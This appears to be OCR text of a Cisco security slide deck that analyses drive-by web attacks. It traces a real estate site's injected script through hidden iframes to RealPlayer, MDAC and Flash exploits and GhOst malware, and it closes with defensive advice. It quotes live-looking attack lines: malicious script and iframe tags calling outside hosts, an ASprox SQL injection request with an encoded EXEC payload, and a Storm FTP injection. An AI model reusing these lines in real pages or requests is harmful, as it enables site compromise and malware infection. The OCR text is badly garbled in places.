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Surprise Valley, Idaho




4 Bedrooms, 2.5 Baths, $379,000 a

Price: $3792,000
City: Boise
Beds: 4

Baths: 2.50
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Windermere Capital
Group
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Bus 208 381-8000
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Featured Property: 98375803

Tirmeless French Country horme in Island
Woods, Huge, private yvard & mature
landscaping. The wonderful floor plan is
dramatic yet very livable. The master suite
i on the main level with a door to the East
facing rear yard & covered patio. The
spacious bath features two closets & split
vanities, The great room, large kitchen and
nook are open and spacious. Additionally,
there is a main level office/playroom, loft
and three bedrooms upstairs. Motivated
Seller!

View Property Details

About Brooke Seidl

I am a Boise native, a
graduate of Boise High
School and Boise State
University with a degree
in Political Science. I
have been in real estate
since 1998 and I love it I
always represent my
clients' best interests
and will save you money,
time and frustration.

Call me today to discuss
your next move!
208-573-3574

View All of My Featured
Properties
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The Web Page: A Security Primer

How does a Web Page Work? I

HTML: Web site “recipe.”

Initial HTML retrieval provides

“recipe”.

Browser then fetches

all objects listed in initial

HTML “recipe”. .

Web Resources:

The actual ingredients.
Retrieved, per the HTML, from
any specified location. Includes

Images

Scripts

Executable objects (“plug-ins”) A recipe for disaster
Other web pages




BoingBoing.net: A Popular Blog
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Boing Boing

m http://www.boingboing.net/
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A Directory 6F Wonderful Things

Repo Man with LARPers: "Unhand Thine Prius!"
(ridiculous video)
POSTED BY XENI JARDIN, APRIL 14, 2009 4:31 PM | PERMALINK

BB pal Alex Ringis says, "A sign of the
financial times: Live action roleplaying geeks
in full costume with fake weapons and in a
reality vortex. Repo-bounty hunters, there to
repossess the 'Wizard's' Toyota Prius.
BIZARRE video ensues."”

It's an episode of the TruTV show Operation
Repo, titled "Unhand Thine Prius."

Caveat view-or: as one commenter noted, it's
very likely that this "reality” show is presenting a staged or highly modified version of
"reality." So, take it as seriously as one might take a friendly fellow in a wizard costume,
casting spells in the park.

SENDTHISTOA &5 (b Buzz up!
FRIEND

DISCUSS (23) FAVORITE THIS! (0)

Woman publishes book full of text messages sent to her
dead husband's cell phone

POSTED BY XENI JARDIN, APRIL 14, 2009 4:14 PM | PERMALINK

Over at BBGadgets, our Lisa Katayama has an incredible post up about a widow in Japan
whois ishing an anthol

‘ ‘ Her husband, Motoo, was diagnosed with mesothelioma in 2006, probably from
the steel pipe factory he worked at. He got worker's comp, but the disease ultimately
destroyed his lungs and left him with hallucinations for the remainder of his life.
Shocked, the widowed Fukuda started sending text messages to her dead husband

WERJEELS tUidED WEpFWwaErE

SUGGEST ALINK | ARCHIVES | SUBSCRIBE = MARK & CORY | DAVID = XENI | JOHN

of text she sent to her loved one, after his death.

Fine jewelry, wholesale prices and no mall at QbQzi0S.com
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URLSs in browser: 1

HTTP Gets: 162

Images: 66

from 18 domains including

5 separate 1x1 pixel invisible
tracking images

Scripts: 87 from 7 domains

Cookies: 118 from
15 domains

8 Flash objects from
4 domains




Recipe + Ingredients...Let's Cook!

ing Bolng
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<a href="http://boingboing.net/"><img
src="http://www.boingboing.net//mtimages/boingboing-logo.gif"
alt="Boing Boing - A directory of wonderful things"

height="72" width="356"></a>
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A Directory 6F Wonderful Things &l

- The browser will fetch
each ingredient

Repo Man

ridiculous video)

, FREE

Sony Ericsson W350
Walkman® phone with
tunes, camera, and more

- Each ingredient
St initiates a HTTP
transaction

Shop Now
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2.3S5/82z=300x250A/" target="_top">
<img src="http://www.burstnet.com/cgi-bin
/ads/adl5856a.cgi/ns/v=2.35/s2=300x250A/"
border="0" alt="Click Here" /></a>
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Web Browser Ecosystem Vulnerable

- “Application Vulnerabilities Exceed OS Vulnerabilities”
- |E and Firefox vulnerable

« “...hundreds of vulnerabilities in ActiveX controls installed by
software vendors have been discovered.”

Sources: SANS Top Cyber Security Risks 2007, 2009
http://www.sans.org/top-cyber-security-risks/



Media Players & Browser Helper Objects

- Quicktime, Java, Flash, Reader, DirectX

- Explosion of Browser Helper Objects and
third-party plug-ins

« Plug-ins are installed (semi) transparently by website. Users
unaware an at-risk helper object or plug-in is installed ...
introducing more avenues for hackers to exploit users visiting
malicious web sites.

12 §HE 1. [ DS DO S D



Mpack: 22% Browser Infection Rate
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What's Happening on BrookeSeidl.com

- brookeseidl.com registered at eNom 2002

+ 63.249.17.64 hosted at Seattle’s ZipCon with 52 other domains

File View Help

Inspect Edit | a - div.headerleft - div#header - body - html
Console  HTML | €SS Script DOM  Net

<title>Surprise Valley<script src=http://tejary.net/h.js></script
<meta content="text/html; charset=i50-8859-1" http-equiv="Content

Script injected onto web page - one extra ingredient!



What Does Tejary.net/h.js Do?

- Browser fetches h.js javascript from tejary.net

- Tejary.net registered 2003 at GoDaddy and hosted on
68.178.160.68 in Arizona

- Registered by Aljuraid, Mr Nassir A in Saudi Arabia

- Tejary.net/h.js calls two remote iframe objects

“<{script src="http://tejary.net/h.js">
1 document.write("<iframe width='100' height='0"
src="http://www.said?.com/bb/fag.htm'></ifr

2 document.write("<iframe width='100"' height='0’
src="http://www.v3i9.cn/c.htm'></iframe>") ;

-
’

</script>




V3i9.cn Domain Information

- V3i9.cn registered at At REFTNMEEXF B R 22T by T On
3/25/09. DNS by mysuperdns.com

- Hosted on 216.245.201.208 at Limestone Networks in
Dallas, TX

- Fetched objects include
ipp.htm, real.ntml, real.js
14.htm, 14.Js
flash.htm, igg.htm



Exploit Resources Fetched from v3i9.cn

It all starts with /c.htm loaded from tejary.net, said7.com

Real Player Exploit
lipp.htm — Real Player exploit CVE-2008-1309

2/40 AV anti-virus vendors detect, calls real.html. Includes £#!kyoukaspersky
Name Description

RealPlayer Console Heap overflow in RealAudioObjects RealAudio ActiveX confrol via long strings in the Console property

/real.htm, /real.js — Real Player exploit CVE-2007-5601

Name Description

RealPlayer Import stack overflow Stack-based buffer overflow in RealNetworks RealPlayer via the import method

MDAC (Microsoft Data Access Component) Exploit
« [14.htm, /14.js — exploits Exploit-MS06-014 vulnerability in the MDAC functions

Flash Exploit

/swfobject.js — detects flash version and selects according content
- [flash.htm — Flash exploit. 2/40 anti-virus vendors detect

/ligg.htm - ??? Called from /flash.htm for exploit?




What Is Our Malware?

- After successful exploit,
malware installed from v3i9.cn

GET /Ce.exe HTTP

- ce.exe = GhOst malware

Keylogging, web cam monitoring

Persistent connection to China:
98.253.68.68 vobe.3322.0rg

& TCPView - Sysinternals: www.sysinternals.com

Proc.. ¢ Protocal Local Address Remote Addiess  State
[ slgexeded  TCP zacorp: 1030 zacom:l LISTENING
[ lsass.exe520  LUDP zacorpisakmp
svchost exe1... TCP zacorp: 1026 h8.253.68.68:6010 ESTABLISHED
(| svchost exe:g12] CP 2acoip epmap 2acorpl) LISTENING

£ svchost exe:d.. UDP zacolpntp

T e
Dala: Lama,

ar 'Rd 1
._am mf‘ ted




Data Theft Malware:

Multi-Million Dollar Problem

“...Criminals have used the Internet
to steal more than $100 million
from U.S. banks so far this year
and they did it without ever having
to draw a gun or pass a note to a

teller...

...I've seen attacks where there's
been $10 million lost in one
24-hour period.”

-Shawn Henry
FBI Assistant Director, Cyber Division
8 Nov 2010 CBS “60 Minutes”




Anti-Virus Won't Protect Us

- Ce.exe analyzed —ty
on Virus Total

.....

Current status: finished

31% detection on days 1, 2
Result: 12/39 (30.77%)

File ce.exe receivéd on 04.15.20»09 19:06:06 |

48% detection on day 3 Current status: finished
Result: 19/40 (47.50%)

- 21% detection for
SMS.exe =

TrandMicre

ViRcbot




Some Websites Injected with tejary.net
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i | A
|

MAN SERV
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JEWISH ONLINE BOOKSTORE

WeddingChoice

the choice for all your wedding needs...

Wed, 4/15/2009 gk . Since 1984
Ameripac

Packaging Products « Machinery « Design

Home « Site Map «

HOME | ABOUT US | CONTACT US | SITE MAP

outh .
Information Center

A PROJECT OF THE NATIONAL COLLABORATION FOR YOUTH




Web Exploit Architectures
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"By enticing a user to visit a
maliciously crafted web page,
an attacker may trigger the
Issue, which may lead to
arbitrary code execution.”




Driving Traffic

- Lots of legitimate web surfing.

Our enterprise customers each request millions of pages per day.

Miscreants tap in to legitimate traffic.

Advantages:
You don’t have to create new things.
Piggyback on sites’ reputation, page rank.

Risk proportional to reward.



ASprox

- |Infected thousands of

websites with vulnerable
ASP and Cold Fusion pages
and MSSQL database.

- Infections persist to this day!

BROOKE /& SEIDL,

208-573-3574

Featured Property: 98375803 About Brooke Seidl

POST /somefile.asp ID=123;DECLARE%20@S
%20NVARCHAR(4000);SET%20@S=CAST
(0x4400450043004C004 ... 0073006F007200%20AS
%20NVARCHAR(4000));:EXEC(@S);




Gumblar

- Victims infected with info stealer by drive-by download.

Steals FTP credentials from victims.

Obfuscated javascript code is inserted into any file that contains a
<body> tag.

New victims are infected through victim’s own website.

Infected sites were de-listed by Google.

<script src=//94.247.2.195/jquery.js></script>




Caught in the Act: Storm

[SOCKS 5 header]

USER victim

PASS a 9-digit secure random password
PASV

TYPE 1

RETR //public_html/forum/db/index.htm

<iframe src="http://activeware.cn/ind.php" width="1" height="1"
alt="YTREWQhej2Htyu"
style="visibility:hidden;position:absolute”></iframe>

QUIT

Source: Christian Kreibich at ICSI Berkeley




Watch Out For Pop Singers!

76 06 Katie Perry

° W h O | e W e b S It e W I th (<)) Q ©) Qhm.,,www,s,,m.mhool.com/sm,m,index.php?p:km.pm 2 v Y3 coogle
aggressive SEO uploaded
to compromised host.

January 7, 2011 Posted by y Katie Perry

Katie Perry

n L
e I IOtl I I I kS to I I I Ia eS OI I katie perry Katie perry Categories
They would have remembered an older scene, with lush Tertiary vegetation everyvmere a younger land city of

flourishing arts around them, and katie perry a great river sweeping northward along the base of the low, gradual

u [ L foothills which separated it from the actual mountain rim, we decided that we could see no thinning at all except Iynn tilton

for an interruption at the left of the pass through which we had come
e I I I I I a e W e S I e S They seem to have become peculiarly intractable toward the middle of the Permian Age, perhaps one hundred
[ ] and katie perry fifty million years ago, when a veritable war of resubjugation was waged upon them by the marine jay shafer

Old Ones
V1 think that both of us simultaneously cried out in mixed awe, wonder, terror, and katie perry disbelief in our own
senses as we finally cleared the pass and katie perry saw what lay beyond Jjim thorpe
The new sound, as | have intimated, upset much that we had decided:; because it was what poor Lake’s
dissection had led us to attribute to those we had judged dead slammin salmon

Had it been some trace of that bizarre musical piping over a wide range which Lake's dissection report had led us

L]
° to expect in those others - and Katie perry which, indeed, our overwrought fancies had been reading into every
wind howl we had heard since coming on the camp horror - it would have had a kind of hellish congruity with the frank lucas
aeon-dead region around us

On many occasions the curious atmospheric effects enchanted me vastly; these including a strikingly vivid
mirage - the first | had ever seen - in which distant bergs became the battlements of unimaginable cosmic castles web bot

(] (] [
The other neighboring gate to the abyss would lie beyond that
The last lap of the voyage was vivid and katie perry fancy-stirring I
The words reaching the reader can never even suggest the awfulness of the sight itself rashad m
1 wish he would add a really frank word about the thing which he thinks he alone saw - even though it was
O St [

probably a nervous delusion - and katie perry which softened our progress to a cautious tiptoeing and katie perry

jodi applegate
crawling over the increasingly littered floor and katie perry heaps of debris Jodi app
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figueroa agosto

jack wagner

- Links to drive-by
ownload.

nate montana

cad edwards
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Major Ad Networks Attacked

- Malicious banner ads unknowingly served by Google and

Microsoft.

Adshu

le.com
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Web Exploit Toolkits

: LIBERTY Sll_)erlg EXIDl(JItS Klt
Vo |

SaU SPLOIT PACK




Statistics Modules
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The Study
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Study Methodology

- Phone-home data from thousands of IronPort web proxies.

Anonymized traffic summaries.

Web reputation: Bad, Neutral and Good.
Default actions: Block, scan, allow.
Plus content policies.

Randomly sampled 1 billion clicks from pool of 3 trillion.

Used actual action taken by the appliance.



Where Traffic is Distributed

Bad; 1%

Good; 14%

93% Blocked
1% Blocked

3% Blocked




Most Popular MIME Types

Flash; 2% other: 9%
CSS, 3% Zip; 0%

XML; 3%

Binary; 3%
Video; 5%

Javascript;
13%




Dangerous MIME Types

0.90%
0.80%
0.70%
0.60%
0.50%
0.40%
0.30%
0.20%
0.10%
0.00%

0.80%

Javascript Flash PDF Image Binary
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Where Is The Blocked Content?

Good: 5%




Securing Your Clients and
Servers
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Securing Your Users

- Users
Targeted training designed to defend against social engineering.

- Host-level
Patch browser and applications.
Audit all applications and files on desktops.
“Lock down” hosts where applicable.

- Network-level security
Reputation and content scanning for all web objects.
Secure HTTPS.
Usability vs. security: block objects not pages.
Active detection of infected users.




Securing Web Servers

- Secure web application development (OWASP).
- Vulnerability assessment before deployment.

- Regular penetration testing.

- Monitor site security and integrity.

- Pay attention to third-party software.

- Consider Web Application Firewall.

« Outbound scanning with AV/Safe Browsing.

- Two-factor authentication.

- |P-based access controls.



Securing the Cloud

- Compliance and auditing.
- Security posture.

« Third-party integration.

- Secondary usage of data.
- Geographical affinity.

* Incident reporting.



Thank you.
CISCO




